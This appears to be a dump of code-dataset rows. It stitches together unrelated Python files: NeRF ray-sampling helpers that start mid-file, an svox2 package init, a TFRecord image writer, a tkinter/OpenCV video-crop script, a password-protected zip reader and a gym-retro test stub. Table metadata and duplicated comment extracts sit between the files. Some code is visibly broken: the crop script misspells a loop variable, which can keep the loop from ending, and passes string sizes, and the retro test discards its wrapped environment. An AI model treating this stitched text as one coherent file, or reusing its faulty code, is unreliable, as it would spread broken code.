### Implementation according to the official code release (https://github.com/bmild/nerf/blob/master/run_nerf_helpers.py#L104-L105)
#self.views_linears = nn.ModuleList([linear_layer(input_ch_views + W, direction_layer_size, activation="relu")])
### Implementation according to the paper
# self.views_linears = nn.ModuleList(
# [nn.Linear(input_ch_views + W, W//2)] + [nn.Linear(W//2, W//2) for i in range(D//2)])
"""
if use_viewdirs:
self.feature_linear = linear_layer(W, W, activation="linear")
self.alpha_linear = linear_layer(W, 1, activation="linear")
self.rgb_linear = linear_layer(direction_layer_size, 3, activation="linear")
else:
self.output_linear = linear_layer(W, output_ch, activation="linear")
"""
if use_viewdirs and use_lightdirs:
self.bottleneck_linear = nn.Linear(W, W)
self.alpha_linear = nn.Linear(W, 1)
self.rgb_linear = nn.Linear(W//2, 3)
self.views_lights_linears = nn.ModuleList([nn.Linear(input_ch_views + input_ch_lights + W, W//2)])
elif use_viewdirs:
self.bottleneck_linear = nn.Linear(W, W)
self.alpha_linear = nn.Linear(W, 1)
self.rgb_linear = nn.Linear(W//2, 3)
self.views_lights_linears = nn.ModuleList([nn.Linear(input_ch_views + W, W//2)])
elif use_lightdirs:
self.bottleneck_linear = nn.Linear(W, W)
self.alpha_linear = nn.Linear(W, 1)
self.rgb_linear = nn.Linear(W//2, 3)
self.views_lights_linears = nn.ModuleList([nn.Linear(input_ch_lights + W, W//2)])
else:
self.output_linear = nn.Linear(W, output_ch)
def forward(self, x):
input_pts, input_views, input_lights = torch.split(x, [self.input_ch, self.input_ch_views, self.input_ch_lights], dim=-1)
outputs = input_pts
for i, l in enumerate(self.pts_linears):
outputs = self.pts_linears[i](outputs)
outputs = F.relu(outputs)
if i in self.skips:
outputs = torch.cat([input_pts, outputs], -1)
"""
if self.use_viewdirs:
alpha = self.alpha_linear(h)
feature = self.feature_linear(h)
h = torch.cat([feature, input_views], -1)
for i, l in enumerate(self.views_linears):
h = self.views_linears[i](h)
h = F.relu(h)
rgb = self.rgb_linear(h)
outputs = torch.cat([rgb, alpha], -1)
else:
outputs = self.output_linear(h)
"""
if self.use_viewdirs or self.use_lightdirs:
alpha = self.alpha_linear(outputs)
bottleneck = self.bottleneck_linear(outputs)
inputs_dirs = bottleneck
if self.use_viewdirs:
inputs_dirs = torch.cat([inputs_dirs, input_views], -1) # concat viewdirs
if self.use_lightdirs:
inputs_dirs = torch.cat([inputs_dirs, input_lights], -1) # concat lightdirs
outputs = inputs_dirs
for i, l in enumerate(self.views_lights_linears):
outputs = self.views_lights_linears[i](outputs)
outputs = F.relu(outputs)
outputs = self.rgb_linear(outputs)
outputs = torch.cat([outputs, alpha], -1)
else:
outputs = self.output_linear(outputs)
return outputs
"""
def load_weights_from_keras(self, weights):
assert self.use_viewdirs, "Not implemented if use_viewdirs=False"
# Load pts_linears
for i in range(self.D):
idx_pts_linears = 2 * i
self.pts_linears[i].weight.data = torch.from_numpy(np.transpose(weights[idx_pts_linears]))
self.pts_linears[i].bias.data = torch.from_numpy(np.transpose(weights[idx_pts_linears+1]))
# Load feature_linear
idx_feature_linear = 2 * self.D
self.feature_linear.weight.data = torch.from_numpy(np.transpose(weights[idx_feature_linear]))
self.feature_linear.bias.data = torch.from_numpy(np.transpose(weights[idx_feature_linear+1]))
# Load views_linears
idx_views_linears = 2 * self.D + 2
self.views_linears[0].weight.data = torch.from_numpy(np.transpose(weights[idx_views_linears]))
self.views_linears[0].bias.data = torch.from_numpy(np.transpose(weights[idx_views_linears+1]))
# Load rgb_linear
idx_rbg_linear = 2 * self.D + 4
self.rgb_linear.weight.data = torch.from_numpy(np.transpose(weights[idx_rbg_linear]))
self.rgb_linear.bias.data = torch.from_numpy(np.transpose(weights[idx_rbg_linear+1]))
# Load alpha_linear
idx_alpha_linear = 2 * self.D + 6
self.alpha_linear.weight.data = torch.from_numpy(np.transpose(weights[idx_alpha_linear]))
self.alpha_linear.bias.data = torch.from_numpy(np.transpose(weights[idx_alpha_linear+1]))
"""
class CoarseAndFine(nn.Module):
def __init__(self, model_coarse, model_fine) :
super(CoarseAndFine, self).__init__()
self.model_coarse = model_coarse
self.model_fine = model_fine
def replace_transparency_by_background_color(acc_map, background_color=None):
res = 1. - acc_map[...,None]
if background_color is not None:
res = res * background_color
return res
# Ray helpers
#def get_rays(H, W, focal, c2w):
def get_rays(intrinsics, c2w, img_id=0, expand_origin=True):
'''
root_num_blocks = 64 # => 4096 blocks
root_num_threads = 16 # => 256 threads per block
rays_d = kilonerf_cuda.get_rays_d(intrinsics.H, intrinsics.W, intrinsics.cx, intrinsics.cy, intrinsics.fx, intrinsics.fy, c2w[:3, :3].contiguous(), root_num_blocks, root_num_threads)
'''
i, j = torch.meshgrid(torch.linspace(0, intrinsics.W-1, intrinsics.W), torch.linspace(0, intrinsics.H-1, intrinsics.H)) # pytorch's meshgrid has indexing='ij'
i = i.t()
j = j.t()
dirs = torch.stack([(i - intrinsics.cx) / intrinsics.fx, -(j - intrinsics.cy) / intrinsics.fy, -torch.ones_like(i)], -1)
# Rotate ray directions from camera frame to the world frame
rays_d = torch.sum(dirs[..., np.newaxis, :] * c2w[:3,:3], -1) # dot product, equals to: [c2w.dot(dir) for dir in dirs]
# Translate camera frame's origin to the world frame. It is the origin of all rays.
rays_o = c2w[:3,-1].expand(rays_d.shape)
if expand_origin:
rays_o = rays_o.expand(rays_d.shape)
else:
rays_o = rays_o.contiguous()
rays_i = torch.full(rays_d.size(), img_id).float()
return rays_o, rays_d, rays_i
#def get_rays_np(H, W, focal, c2w):
def get_rays_np(intrinsics, c2w):
W, H = intrinsics.W, intrinsics.H
i, j = np.meshgrid(np.arange(W, dtype=np.float32), np.arange(H, dtype=np.float32), indexing='xy')
dirs = np.stack([(i - intrinsics.cx) / intrinsics.fx, -(j - intrinsics.cy) / intrinsics.fy, -np.ones_like(i)], -1)
# Rotate ray directions from camera frame to the world frame
rays_d = np.sum(dirs[..., np.newaxis, :] * c2w[:3,:3], -1) # dot product, equals to: [c2w.dot(dir) for dir in dirs]
# Translate camera frame's origin to the world frame. It is the origin of all rays.
rays_o = np.broadcast_to(c2w[:3,-1], np.shape(rays_d))
return rays_o, rays_d
def ndc_rays(H, W, focal, near, rays_o, rays_d):
# Shift ray origins to near plane
t = -(near + rays_o[...,2]) / rays_d[...,2]
rays_o = rays_o + t[...,None] * rays_d
# Projection
o0 = -1./(W/(2.*focal)) * rays_o[...,0] / rays_o[...,2]
o1 = -1./(H/(2.*focal)) * rays_o[...,1] / rays_o[...,2]
o2 = 1. + 2. * near / rays_o[...,2]
d0 = -1./(W/(2.*focal)) * (rays_d[...,0]/rays_d[...,2] - rays_o[...,0]/rays_o[...,2])
d1 = -1./(H/(2.*focal)) * (rays_d[...,1]/rays_d[...,2] - rays_o[...,1]/rays_o[...,2])
d2 = -2. * near / rays_o[...,2]
rays_o = torch.stack([o0,o1,o2], -1)
rays_d = torch.stack([d0,d1,d2], -1)
return rays_o, rays_d
# Hierarchical sampling (section 5.2)
def sample_pdf(bins, weights, N_samples, det=False, pytest=False):
# Get pdf
weights = weights + 1e-5 # prevent nans
pdf = weights / torch.sum(weights, -1, keepdim=True)
cdf = torch.cumsum(pdf, -1)
cdf = torch.cat([torch.zeros_like(cdf[...,:1]), cdf], -1) # (batch, len(bins))
# Take uniform samples
if det:
u = torch.linspace(0., 1., steps=N_samples)
u = u.expand(list(cdf.shape[:-1]) + [N_samples])
else:
u = torch.rand(list(cdf.shape[:-1]) + [N_samples])
# Pytest, overwrite u with numpy's fixed random numbers
if pytest:
np.random.seed(0)
new_shape = list(cdf.shape[:-1]) + [N_samples]
if det:
u = np.linspace(0., 1., N_samples)
u = np.broadcast_to(u, new_shape)
else:
u = np.random.rand(*new_shape)
u = torch.Tensor(u)
# Invert CDF
u = u.contiguous()
inds = torch.searchsorted(cdf, u, right=True)
below = torch.max(torch.zeros_like(inds-1), inds-1)
above = torch.min((cdf.shape[-1]-1) * torch.ones_like(inds), inds)
inds_g = torch.stack([below, above], -1) # (batch, N_samples, 2)
# cdf_g = tf.gather(cdf, inds_g, axis=-1, batch_dims=len(inds_g.shape)-2)
# bins_g = tf.gather(bins, inds_g, axis=-1, batch_dims=len(inds_g.shape)-2)
matched_shape = [inds_g.shape[0], inds_g.shape[1], cdf.shape[-1]]
cdf_g = torch.gather(cdf.unsqueeze(1).expand(matched_shape), 2, inds_g)
bins_g = torch.gather(bins.unsqueeze(1).expand(matched_shape), 2, inds_g)
denom = (cdf_g[...,1]-cdf_g[...,0])
denom = torch.where(denom<1e-5, torch.ones_like(denom), denom)
t = (u-cdf_g[...,0])/denom
samples = bins_g[...,0] + t * (bins_g[...,1]-bins_g[...,0])
return samples
class ChainEmbeddingAndModel(nn.Module):
def __init__(self, model, embed_fn, embeddirs_fn, embedlights_fn):
super(ChainEmbeddingAndModel, self).__init__()
self.model = model
self.embed_fn = embed_fn
self.embeddirs_fn = embeddirs_fn
self.embedlights_fn = embedlights_fn
def forward(self, points_and_dirs):
embedded_points = self.embed_fn(points_and_dirs[:, :3])
if self.embeddirs_fn is not None and self.embedlights_fn is not None:
embedded_dirs = self.embeddirs_fn(points_and_dirs[:, 3:6])
embedded_lights = self.embedlights_fn(points_and_dirs[:, 6:])
embedded_points_and_dirs_and_lights = torch.cat([embedded_points, embedded_dirs, embedded_lights], -1)
return self.model(embedded_points_and_dirs_and_lights)
else:
return self.model(embedded_points)
def lookat(look_from, look_to, tmp = np.asarray([0., 0., 1.])):
forward = look_from - look_to
forward = forward / np.linalg.norm(forward)
right = np.cross(tmp, forward)
right = right / np.linalg.norm(right) # TODO: handle np.linalg.norm(right) == 0
up = np.cross(forward, right)
c2w_T = np.zeros((4,4))
c2w_T[0,0:3] = right
c2w_T[1,0:3] = up
c2w_T[2,0:3] = forward
c2w_T[3,0:3] = look_from
c2w_T[3,3] = 1
return c2w_T.T
class OrbitCamera:
def __init__(self, center, radius, inclination, azimuth, device):
self.center = center
self.radius = radius
self.inclination = inclination
self.azimuth = azimuth
self.device = device
self.compute_c2w()
def zoom(self, delta):
self.radius += delta
self.compute_c2w()
def pan(self, delta_x, delta_y):
c2w_T = self.c2w.cpu().numpy().T
right = c2w_T[0,0:3]
up = c2w_T[1,0:3]
self.center += delta_x * right
self.center += delta_y * up
self.compute_c2w()
def rotate(self, delta_x, delta_y):
self.azimuth += delta_x
self.inclination += delta_y
eps = 0.001
self.inclination = min(max(eps, self.inclination), math.pi - eps)
self.compute_c2w()
def compute_c2w(self):
offset = np.asarray([self.radius * math.cos(self.azimuth) * math.sin(self.inclination),
self.radius * math.sin(self.azimuth) * math.sin(self.inclination),
self.radius * math.cos(self.inclination)])
look_from = self.center + offset
look_to = self.center
self.c2w = torch.tensor(lookat(look_from, look_to), dtype=torch.float, device=self.device)
def get_dirs(ray_batch, pts, metadata, use_viewdirs, use_lightdirs, lightdirs_method):
"""Get ray directions.
Args:
ray_batch: [R, M] float tensor. All information necessary for sampling along a
ray, including: ray origin, ray direction, min dist, max dist, and
unit-magnitude viewing direction, all in object coordinate frame.
pts: [R, S, 3] float tensor. Sampled points along rays.
metadata: [N, 3] float tensor. Metadata about each image. Currently only light
position is provided.
use_viewdirs: Whether to use view directions.
use_lightdirs: Whether to use light directions.
lightdirs_method: Method for computing lightdirs.
"""
viewdirs, lightdirs = None, None
if use_viewdirs:
assert ray_batch.size()[-1] > 8
viewdirs = ray_batch[:, 8:11] # [R, 3]
viewdirs = torch.broadcast_to(viewdirs[:, None], pts.size()) # [R, S, 3]
if use_lightdirs:
# Use viewdirs as lightdirs.
if lightdirs_method == 'viewdirs':
assert viewdirs is not None, "viewdirs is None"
lightdirs = viewdirs # [R, S, 3]
# Compute lightdirs based on ray metadata or randomly sample directions.
else:
rays_i = ray_batch[:, -1:] # [R, 1]
lightdirs = ray_utils.get_lightdirs( # [R, S, 3]
lightdirs_method=lightdirs_method, num_rays=pts.size()[0],
num_samples=pts.size()[1], rays_i=rays_i, metadata=metadata,
normalize=False)
return viewdirs, lightdirs | en | 0.653318 | # import kilonerf_cuda # Misc # Positional encoding (section 5.1) # Model ### Implementation according to the official code release (https://github.com/bmild/nerf/blob/master/run_nerf_helpers.py#L104-L105) ### Implementation according to the paper # self.views_linears = nn.ModuleList( # [nn.Linear(input_ch_views + W, W//2)] + [nn.Linear(W//2, W//2) for i in range(D//2)]) # Load pts_linears # Load feature_linear # Load views_linears # Load rgb_linear # Load alpha_linear if direction_layer_size is None: direction_layer_size = W//2 def linear_layer(in_features, out_features, activation): if self.use_initialization_fix: return DenseLayer(in_features, out_features, activation=activation) else: return nn.Linear(in_features, out_features) self.pts_linears = nn.ModuleList( [linear_layer(input_ch, W, activation="relu")] + [linear_layer(W, W, activation="relu") if i not in self.skips else linear_layer(W + input_ch, W, activation="relu") for i in range(D-1)]) ### Implementation according to the official code release (https://github.com/bmild/nerf/blob/master/run_nerf_helpers.py#L104-L105) #self.views_linears = nn.ModuleList([linear_layer(input_ch_views + W, direction_layer_size, activation="relu")]) ### Implementation according to the paper # self.views_linears = nn.ModuleList( # [nn.Linear(input_ch_views + W, W//2)] + [nn.Linear(W//2, W//2) for i in range(D//2)]) if use_viewdirs: self.feature_linear = linear_layer(W, W, activation="linear") self.alpha_linear = linear_layer(W, 1, activation="linear") self.rgb_linear = linear_layer(direction_layer_size, 3, activation="linear") else: self.output_linear = linear_layer(W, output_ch, activation="linear") if self.use_viewdirs: alpha = self.alpha_linear(h) feature = self.feature_linear(h) h = torch.cat([feature, input_views], -1) for i, l in enumerate(self.views_linears): h = self.views_linears[i](h) h = F.relu(h) rgb = self.rgb_linear(h) outputs = torch.cat([rgb, alpha], -1) else: outputs = self.output_linear(h) # concat viewdirs # concat lightdirs def load_weights_from_keras(self, weights): assert self.use_viewdirs, "Not implemented if use_viewdirs=False" # Load pts_linears for i in range(self.D): idx_pts_linears = 2 * i self.pts_linears[i].weight.data = torch.from_numpy(np.transpose(weights[idx_pts_linears])) self.pts_linears[i].bias.data = torch.from_numpy(np.transpose(weights[idx_pts_linears+1])) # Load feature_linear idx_feature_linear = 2 * self.D self.feature_linear.weight.data = torch.from_numpy(np.transpose(weights[idx_feature_linear])) self.feature_linear.bias.data = torch.from_numpy(np.transpose(weights[idx_feature_linear+1])) # Load views_linears idx_views_linears = 2 * self.D + 2 self.views_linears[0].weight.data = torch.from_numpy(np.transpose(weights[idx_views_linears])) self.views_linears[0].bias.data = torch.from_numpy(np.transpose(weights[idx_views_linears+1])) # Load rgb_linear idx_rbg_linear = 2 * self.D + 4 self.rgb_linear.weight.data = torch.from_numpy(np.transpose(weights[idx_rbg_linear])) self.rgb_linear.bias.data = torch.from_numpy(np.transpose(weights[idx_rbg_linear+1])) # Load alpha_linear idx_alpha_linear = 2 * self.D + 6 self.alpha_linear.weight.data = torch.from_numpy(np.transpose(weights[idx_alpha_linear])) self.alpha_linear.bias.data = torch.from_numpy(np.transpose(weights[idx_alpha_linear+1])) # Ray helpers #def get_rays(H, W, focal, c2w): root_num_blocks = 64 # => 4096 blocks root_num_threads = 16 # => 256 threads per block rays_d = kilonerf_cuda.get_rays_d(intrinsics.H, intrinsics.W, intrinsics.cx, intrinsics.cy, intrinsics.fx, intrinsics.fy, c2w[:3, :3].contiguous(), root_num_blocks, root_num_threads) # pytorch's meshgrid has indexing='ij' # Rotate ray directions from camera frame to the world frame # dot product, equals to: [c2w.dot(dir) for dir in dirs] # Translate camera frame's origin to the world frame. It is the origin of all rays. #def get_rays_np(H, W, focal, c2w): # Rotate ray directions from camera frame to the world frame # dot product, equals to: [c2w.dot(dir) for dir in dirs] # Translate camera frame's origin to the world frame. It is the origin of all rays. # Shift ray origins to near plane # Projection # Hierarchical sampling (section 5.2) # Get pdf # prevent nans # (batch, len(bins)) # Take uniform samples # Pytest, overwrite u with numpy's fixed random numbers # Invert CDF # (batch, N_samples, 2) # cdf_g = tf.gather(cdf, inds_g, axis=-1, batch_dims=len(inds_g.shape)-2) # bins_g = tf.gather(bins, inds_g, axis=-1, batch_dims=len(inds_g.shape)-2) # TODO: handle np.linalg.norm(right) == 0 Get ray directions. Args: ray_batch: [R, M] float tensor. All information necessary for sampling along a ray, including: ray origin, ray direction, min dist, max dist, and unit-magnitude viewing direction, all in object coordinate frame. pts: [R, S, 3] float tensor. Sampled points along rays. metadata: [N, 3] float tensor. Metadata about each image. Currently only light position is provided. use_viewdirs: Whether to use view directions. use_lightdirs: Whether to use light directions. lightdirs_method: Method for computing lightdirs. # [R, 3] # [R, S, 3] # Use viewdirs as lightdirs. # [R, S, 3] # Compute lightdirs based on ray metadata or randomly sample directions. # [R, 1] # [R, S, 3] | 2.172475 | 2 |
svox2/__init__.py | QiukuZ/svox2 | 1,724 | 6616163 | from .defs import *
from .svox2 import SparseGrid, Camera, Rays, RenderOptions
from .version import __version__
| from .defs import *
from .svox2 import SparseGrid, Camera, Rays, RenderOptions
from .version import __version__
| none | 1 | 1.03577 | 1 | |
{{cookiecutter.project_slug}}/app/ml/data_loader/tfrecord/write.py | khanh41/fastapi-mongodb-base-project | 3 | 6616164 | <reponame>khanh41/fastapi-mongodb-base-project
import json
import os
import tensorflow as tf
from app.core.constants import TFRecordConstants
class WriteTFRecordsDataset:
def __init__(self, input_dir, language="en"):
self.image_labels = {}
(
self.output_dir,
self.path_infor,
self.path_ds,
) = TFRecordConstants.get_record_path(language_font=language)
self.labels = os.listdir(input_dir)
self.store_information_dataset()
def save_tfrecord_dataset(self):
# Write the raw image files to `images.tfrecords`.
# First, process the two images into `tf.train.Example` messages.
# Then, write to a `.tfrecords` file.
length_dataset = 0
with tf.io.TFRecordWriter(self.path_ds) as writer:
for filename, label in self.image_labels.items():
image_string = open(filename, "rb").read()
tf_example = self.image_example(image_string, label)
writer.write(tf_example.SerializeToString())
length_dataset += 1
self.save_information_dataset(length_dataset)
def save_information_dataset(self, length_dataset):
with open(self.path_infor, "w") as f:
json.dump(
{
"labels": self.labels,
"length_dataset": length_dataset,
},
f,
)
def store_information_dataset(self):
for i, label in enumerate(self.labels):
path_dir = os.path.join(self.output_dir, label)
for path_img in os.listdir(path_dir):
self.image_labels[os.path.join(path_dir, path_img)] = i
def image_example(self, image_string, label):
"""Create a dictionary with features that may be relevant."""
image_shape = tf.io.decode_jpeg(image_string).shape
feature = {
"height": self._int64_feature(image_shape[0]),
"width": self._int64_feature(image_shape[1]),
"depth": self._int64_feature(image_shape[2]),
"label": self._int64_feature(label),
"image_raw": self._bytes_feature(image_string),
}
return tf.train.Example(features=tf.train.Features(feature=feature))
def _bytes_feature(self, value):
"""Returns a bytes_list from a string / byte."""
if isinstance(value, type(tf.constant(0))):
value = (
value.numpy()
) # BytesList won't unpack a string from an EagerTensor.
return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))
def _float_feature(self, value):
"""Returns a float_list from a float / double."""
return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))
def _int64_feature(self, value):
"""Returns an int64_list from a bool / enum / int / uint."""
return tf.train.Feature(int64_list=tf.train.Int64List(value=[value]))
| import json
import os
import tensorflow as tf
from app.core.constants import TFRecordConstants
class WriteTFRecordsDataset:
def __init__(self, input_dir, language="en"):
self.image_labels = {}
(
self.output_dir,
self.path_infor,
self.path_ds,
) = TFRecordConstants.get_record_path(language_font=language)
self.labels = os.listdir(input_dir)
self.store_information_dataset()
def save_tfrecord_dataset(self):
# Write the raw image files to `images.tfrecords`.
# First, process the two images into `tf.train.Example` messages.
# Then, write to a `.tfrecords` file.
length_dataset = 0
with tf.io.TFRecordWriter(self.path_ds) as writer:
for filename, label in self.image_labels.items():
image_string = open(filename, "rb").read()
tf_example = self.image_example(image_string, label)
writer.write(tf_example.SerializeToString())
length_dataset += 1
self.save_information_dataset(length_dataset)
def save_information_dataset(self, length_dataset):
with open(self.path_infor, "w") as f:
json.dump(
{
"labels": self.labels,
"length_dataset": length_dataset,
},
f,
)
def store_information_dataset(self):
for i, label in enumerate(self.labels):
path_dir = os.path.join(self.output_dir, label)
for path_img in os.listdir(path_dir):
self.image_labels[os.path.join(path_dir, path_img)] = i
def image_example(self, image_string, label):
"""Create a dictionary with features that may be relevant."""
image_shape = tf.io.decode_jpeg(image_string).shape
feature = {
"height": self._int64_feature(image_shape[0]),
"width": self._int64_feature(image_shape[1]),
"depth": self._int64_feature(image_shape[2]),
"label": self._int64_feature(label),
"image_raw": self._bytes_feature(image_string),
}
return tf.train.Example(features=tf.train.Features(feature=feature))
def _bytes_feature(self, value):
"""Returns a bytes_list from a string / byte."""
if isinstance(value, type(tf.constant(0))):
value = (
value.numpy()
) # BytesList won't unpack a string from an EagerTensor.
return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))
def _float_feature(self, value):
"""Returns a float_list from a float / double."""
return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))
def _int64_feature(self, value):
"""Returns an int64_list from a bool / enum / int / uint."""
return tf.train.Feature(int64_list=tf.train.Int64List(value=[value])) | en | 0.641647 | # Write the raw image files to `images.tfrecords`. # First, process the two images into `tf.train.Example` messages. # Then, write to a `.tfrecords` file. Create a dictionary with features that may be relevant. Returns a bytes_list from a string / byte. # BytesList won't unpack a string from an EagerTensor. Returns a float_list from a float / double. Returns an int64_list from a bool / enum / int / uint. | 2.735366 | 3 |
vidCrop.py | mitchellciupak/VidCrop | 0 | 6616165 | #!/usr/bin/python
import sys
import cv2 as cv
import tkinter as tk
# import gui
if __name__ == '__main__':
# vidCrop vid.mp4 100 100
# vidCrop
# -i for image
# -v for video (default)
print('Number of arguments:', len(sys.argv), 'arguments.')
print('Argument List:', str(sys.argv))
# TODO FINISH GUI https://www.youtube.com/watch?v=D8-snVfekto
if (len(sys.argv) < 2):
root = tk.Tk()
canvas = tk.Canvas(root, height=600, width=800)
canvas.pack()
frame = tk.Frame(root, bg="gray")
frame.place(relx=0.05, rely=0.05, relwidth=0.95, relheight=0.95)
xButton = tk.Button(frame, text="X Slider and Text Box")
xButton.pack()
yButton = tk.Button(frame, text="Y Slider and Text Box")
yButton.pack()
upload = tk.Button(root, text="Upload a file")
upload.pack()
root.mainloop()
# GUI Collect Arguments
# GUI feed arguments too CLI
else:
filepath = sys.argv[1]
x = sys.argv[2]
y = sys.argv[3]
try:
cap = cv.VideoCapture(filepath)
except IOError as exc:
raise RuntimeError('Cannot Open ', filepath) from exc
length = int(cap.get(cv.CAP_PROP_FRAME_COUNT))
success, img = cap.read()
while success:
sucess, img = cap.read()
img = cv.resize(img, (x, y))
| #!/usr/bin/python
import sys
import cv2 as cv
import tkinter as tk
# import gui
if __name__ == '__main__':
# vidCrop vid.mp4 100 100
# vidCrop
# -i for image
# -v for video (default)
print('Number of arguments:', len(sys.argv), 'arguments.')
print('Argument List:', str(sys.argv))
# TODO FINISH GUI https://www.youtube.com/watch?v=D8-snVfekto
if (len(sys.argv) < 2):
root = tk.Tk()
canvas = tk.Canvas(root, height=600, width=800)
canvas.pack()
frame = tk.Frame(root, bg="gray")
frame.place(relx=0.05, rely=0.05, relwidth=0.95, relheight=0.95)
xButton = tk.Button(frame, text="X Slider and Text Box")
xButton.pack()
yButton = tk.Button(frame, text="Y Slider and Text Box")
yButton.pack()
upload = tk.Button(root, text="Upload a file")
upload.pack()
root.mainloop()
# GUI Collect Arguments
# GUI feed arguments too CLI
else:
filepath = sys.argv[1]
x = sys.argv[2]
y = sys.argv[3]
try:
cap = cv.VideoCapture(filepath)
except IOError as exc:
raise RuntimeError('Cannot Open ', filepath) from exc
length = int(cap.get(cv.CAP_PROP_FRAME_COUNT))
success, img = cap.read()
while success:
sucess, img = cap.read()
img = cv.resize(img, (x, y))
| en | 0.22401 | #!/usr/bin/python # import gui # vidCrop vid.mp4 100 100 # vidCrop # -i for image # -v for video (default) # TODO FINISH GUI https://www.youtube.com/watch?v=D8-snVfekto # GUI Collect Arguments # GUI feed arguments too CLI | 2.87663 | 3 |
source/pwdzip/pwdzip_reader.py | tomaszkurgan/pwdzip | 0 | 6616166 | <gh_stars>0
"""Purely Python and stdlib password protected zip reader,
compatible with pwdzip module."""
import StringIO
import inspect
import os
import shutil
import tempfile
import uuid
import zipfile
class ZipFileReader(zipfile.ZipFile):
SUPPORTED_MODES = ('r',)
def __init__(self, filename, mode='r', compression=zipfile.ZIP_STORED, allowZip64=False, pwd=None):
if mode not in self.SUPPORTED_MODES:
raise ValueError('Unsupported mode %s. Supported modes are %s.' % (mode, ', '.join(self.SUPPORTED_MODES)))
super(ZipFileReader, self).__init__(filename, mode, compression, allowZip64)
self.setpassword(pwd)
self._payload_name = self._find_payload()
self._payload_archive = None
@property
def _payload(self):
if not self._payload_archive and self._payload_name:
self._payload_archive = self._load_payload()
return self._payload_archive
def _find_payload(self):
if self.mode != 'r':
return None
zip_files = [f for f in self.namelist() if os.path.splitext(f)[1] == '.zip']
if len(zip_files) != 1:
return None
payload_candidate = zip_files[0]
payload_info = self.getinfo(payload_candidate)
is_encrypted = payload_info.flag_bits & 0x1
if not is_encrypted:
return None
return payload_candidate
def _extract_payload(self, destination_dir):
return self.extractall(destination_dir)
def _load_payload(self):
if not self._payload_name:
return
zip_dir_name = uuid.uuid4().hex.upper()[:16]
temp_dir = os.path.join(tempfile.gettempdir(), zip_dir_name)
self._extract_payload(temp_dir)
temp_zip_file_path = os.path.join(temp_dir, self._payload_name)
payload_buffer = StringIO.StringIO()
with open(temp_zip_file_path, 'rb') as f:
payload_buffer.write(f.read())
try:
shutil.rmtree(temp_dir)
except OSError:
shutil.rmtree(temp_dir)
return zipfile.ZipFile(payload_buffer)
def side_name_list(self):
name_list = self.namelist()
try:
name_list.remove(self._payload_name)
except ValueError:
pass
return name_list
def read_side(self, name):
return self.read(name)
def extract_side(self, name, path):
return self.extract(name, path)
###############################################################################
# redirect methods into internal archive
#
# noinspection PyMethodParameters
def get_dispatcher(func_name):
"""
Args:
func_name (str):
"""
def dispatcher(self, *args, **kwargs):
outer_self = inspect.stack()[1][0].f_locals.get('self')
if outer_self and isinstance(outer_self, ZipFileReader):
return getattr(super(ZipFileReader, self), func_name)(*args, **kwargs)
if self._payload:
return getattr(self._payload, func_name)(*args, **kwargs)
return getattr(super(ZipFileReader, self), func_name)(*args, **kwargs)
return dispatcher
for name in ('namelist', 'printdir', 'testzip', 'infolist', 'getinfo',
'read', 'extract', 'extractall'):
# noinspection PyArgumentList
locals()[name] = get_dispatcher(name)
del locals()['get_dispatcher']
| """Purely Python and stdlib password protected zip reader,
compatible with pwdzip module."""
import StringIO
import inspect
import os
import shutil
import tempfile
import uuid
import zipfile
class ZipFileReader(zipfile.ZipFile):
SUPPORTED_MODES = ('r',)
def __init__(self, filename, mode='r', compression=zipfile.ZIP_STORED, allowZip64=False, pwd=None):
if mode not in self.SUPPORTED_MODES:
raise ValueError('Unsupported mode %s. Supported modes are %s.' % (mode, ', '.join(self.SUPPORTED_MODES)))
super(ZipFileReader, self).__init__(filename, mode, compression, allowZip64)
self.setpassword(pwd)
self._payload_name = self._find_payload()
self._payload_archive = None
@property
def _payload(self):
if not self._payload_archive and self._payload_name:
self._payload_archive = self._load_payload()
return self._payload_archive
def _find_payload(self):
if self.mode != 'r':
return None
zip_files = [f for f in self.namelist() if os.path.splitext(f)[1] == '.zip']
if len(zip_files) != 1:
return None
payload_candidate = zip_files[0]
payload_info = self.getinfo(payload_candidate)
is_encrypted = payload_info.flag_bits & 0x1
if not is_encrypted:
return None
return payload_candidate
def _extract_payload(self, destination_dir):
return self.extractall(destination_dir)
def _load_payload(self):
if not self._payload_name:
return
zip_dir_name = uuid.uuid4().hex.upper()[:16]
temp_dir = os.path.join(tempfile.gettempdir(), zip_dir_name)
self._extract_payload(temp_dir)
temp_zip_file_path = os.path.join(temp_dir, self._payload_name)
payload_buffer = StringIO.StringIO()
with open(temp_zip_file_path, 'rb') as f:
payload_buffer.write(f.read())
try:
shutil.rmtree(temp_dir)
except OSError:
shutil.rmtree(temp_dir)
return zipfile.ZipFile(payload_buffer)
def side_name_list(self):
name_list = self.namelist()
try:
name_list.remove(self._payload_name)
except ValueError:
pass
return name_list
def read_side(self, name):
return self.read(name)
def extract_side(self, name, path):
return self.extract(name, path)
###############################################################################
# redirect methods into internal archive
#
# noinspection PyMethodParameters
def get_dispatcher(func_name):
"""
Args:
func_name (str):
"""
def dispatcher(self, *args, **kwargs):
outer_self = inspect.stack()[1][0].f_locals.get('self')
if outer_self and isinstance(outer_self, ZipFileReader):
return getattr(super(ZipFileReader, self), func_name)(*args, **kwargs)
if self._payload:
return getattr(self._payload, func_name)(*args, **kwargs)
return getattr(super(ZipFileReader, self), func_name)(*args, **kwargs)
return dispatcher
for name in ('namelist', 'printdir', 'testzip', 'infolist', 'getinfo',
'read', 'extract', 'extractall'):
# noinspection PyArgumentList
locals()[name] = get_dispatcher(name)
del locals()['get_dispatcher'] | de | 0.245788 | Purely Python and stdlib password protected zip reader, compatible with pwdzip module. ############################################################################### # redirect methods into internal archive # # noinspection PyMethodParameters Args: func_name (str): # noinspection PyArgumentList | 2.832662 | 3 |
tests/test_sb1_retro_2p.py | MatPoliquin/retro-scripts | 7 | 6616167 | import retro
import numpy as np
from stable_baselines import PPO2
from stable_baselines.common.policies import CnnPolicy
from stable_baselines.common.atari_wrappers import WarpFrame, ClipRewardEnv, FrameStack
GAME_ENV = 'Pong-Atari2600'
STATE_1P = 'Start'
STATE_2P = 'Start.2P'
POLICY = 'CnnPolicy'
TIMESTEPS = 10000
def apply_wrappers(env):
env = WarpFrame(env) # Downsamples the game frame buffer to 84x84 greyscale pixel
env = FrameStack(env, 4) # Creates a stack of the last 4 frames to encode velocity
env = ClipRewardEnv(env) # Make sure returned reward from env is not out of bounds
return env
def main():
# Create Env
env = retro.make(game=GAME_ENV, state=STATE_1P) # Creates the env that contains the genesis emulator
apply_wrappers(env)
